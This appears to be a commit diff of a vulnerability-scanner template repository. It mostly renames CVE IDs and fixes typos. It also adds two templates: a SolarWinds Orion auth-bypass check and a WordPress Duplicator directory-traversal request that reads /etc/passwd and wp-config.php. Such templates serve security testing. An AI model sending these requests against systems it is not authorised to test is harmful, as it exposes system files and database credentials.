   name: JIRA SSRF in the /plugins/servlet/gadgets/makeRequest resource

cves/2019/CVE-2019-8903.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-8903
+id: CVE-2019-8903
 
 info:
   name: Totaljs - Unathenticated Directory Traversal

cves/2019/CVE-2019-8982.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-8982
+id: CVE-2019-8982
 info:
   name: Wavemaker Studio 6.6 LFI/SSRF
   author: madrobot

cves/2019/CVE-2019-9670.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-9670
+id: CVE-2019-9670
 
 info:
   name: Zimbra Collaboration XXE

cves/2019/CVE-2019-9733.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-9733
+id: CVE-2019-9733
 info:
   name: Artifactory Access-Admin Login Bypass
   author: akshansh
@@ -18,7 +18,6 @@ requests:
           Content-Type: application/json
           Origin: http://{{Hostname}}
           Referer: http://{{Hostname}}/artifactory/webapp/
-          Accept-Encoding: gzip, deflate
           Accept-Language: en-US,en;q=0.9
           Connection: close
 

cves/2019/CVE-2019-9978.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-9978
+id: CVE-2019-9978
 
 info:
   name: WordPress social-warfare RFI

cves/2020/CVE-2020-0618.yaml

@@ -1,4 +1,4 @@
-id: cve-2020-0618
+id: CVE-2020-0618
 
 info:
   name: RCE in SQL Server Reporting Services

cves/2020/CVE-2020-10148.yaml

@@ -0,0 +1,48 @@
+id: CVE-2020-10148
+
+info:
+  name: SolarWinds Orion API Auth Bypass Leads to RCE (SUPERNOVA)
+  author: dwisiswant0
+  severity: high
+  description: |
+    This template could allow to bypass authentication and execute API
+    commands which may result in a compromise of the SolarWinds instance.
+
+  # References:
+  # - https://github.com/jaeles-project/jaeles-signatures/blob/master/cves/solarwinds-lfi-cve-2020-10148.yaml
+  # - https://gist.github.com/0xsha/75616ef6f24067c4fb5b320c5dfa4965
+  # - https://kb.cert.org/vuls/id/843464
+  # - https://twitter.com/0xsha/status/1343800953946787847
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/web.config.i18n.ashx?l=nuclei&v=nuclei"
+
+     # - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l=nuclei&v=nuclei"
+     # Above path can be used if you are looking to scan for "SWNetPerfMon.db" file.
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "SolarWinds.Orion.Core."
+        part: body
+
+      - type: word
+        words:
+          - "text/plain"
+        part: header
+
+      - type: status
+        status:
+          - 200
+
+#      - type: word
+#        words:
+#          - "Connection String"
+#          - "text/plain"
+#        part: all
+#        condtion: and
+#
+# Commented matchers can be used for "SWNetPerfMon.db" file.

cves/2020/CVE-2020-10199.yaml

@@ -1,8 +1,8 @@
-id: cve-2020-10199
+id: CVE-2020-10199
 
 info:
   name: Nexus Repository Manager 3 RCE
-  auhtor: hetroublemakr
+  author: hetroublemakr
   severity: high
   description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection (issue 1 of 2).
   # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

cves/2020/CVE-2020-10204.yaml

@@ -1,8 +1,8 @@
-id: cve-2020-10204
+id: CVE-2020-10204
 
 info:
   name: Sonatype Nexus Repository RCE
-  auhtor: hetroublemakr
+  author: hetroublemakr
   severity: high
   description: A Remote Code Execution vulnerability has been discovered in Nexus Repository Manager requiring immediate action. The vulnerability allows for an attacker with an administrative account on NXRM to execute arbitrary code by crafting a malicious request to NXRM
   # reference: https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31

cves/2020/CVE-2020-11034.yaml

@@ -1,4 +1,4 @@
-id: cve-2020-11034
+id: CVE-2020-11034
 
 info:
   name: GLPI v.9.4.6 - Open redirect

cves/2020/CVE-2020-1147.yaml

@@ -1,4 +1,4 @@
-id: cve-2020-1147
+id: CVE-2020-1147
 
 info:
   name: RCE at SharePoint Server (.NET Framework & Visual Studio) detection

cves/2020/CVE-2020-11738.yaml

@@ -0,0 +1,39 @@
+id: CVE-2020-11738
+
+info:
+  name: WordPress Duplicator plugin Directory Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    The issue is being actively exploited, and allows attackers
+    to download arbitrary files, such as the wp-config.php file.
+    According to the vendor, the vulnerability was only in two
+    versions v1.3.24 and v1.3.26, the vulnerability wasn't
+    present in versions 1.3.22 and before.
+
+    References:
+    - https://www.tenable.com/blog/duplicator-wordpress-plugin-vulnerability-exploited-in-the-wild
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "File Transfer"
+          - "application/octet-stream"
+          - "attachment; filename=\"(wp-config\\.php|passwd)\""
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+          - "define\\('DB_(NAME|USER|PASSWORD|HOST|CHARSET|COLLATE)'"
+        condition: or
+        part: body

cves/2020/CVE-2020-12116.yaml

@@ -1,4 +1,4 @@
-id: cve-2020-12116
+id: CVE-2020-12116
 
 info:
   name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read

cves/2020/CVE-2020-12720.yaml

@@ -1,4 +1,4 @@
-id: cve-2020-12720
+id: CVE-2020-12720
 
 info:
   name: CVE-2020-12720 vBulletin SQLI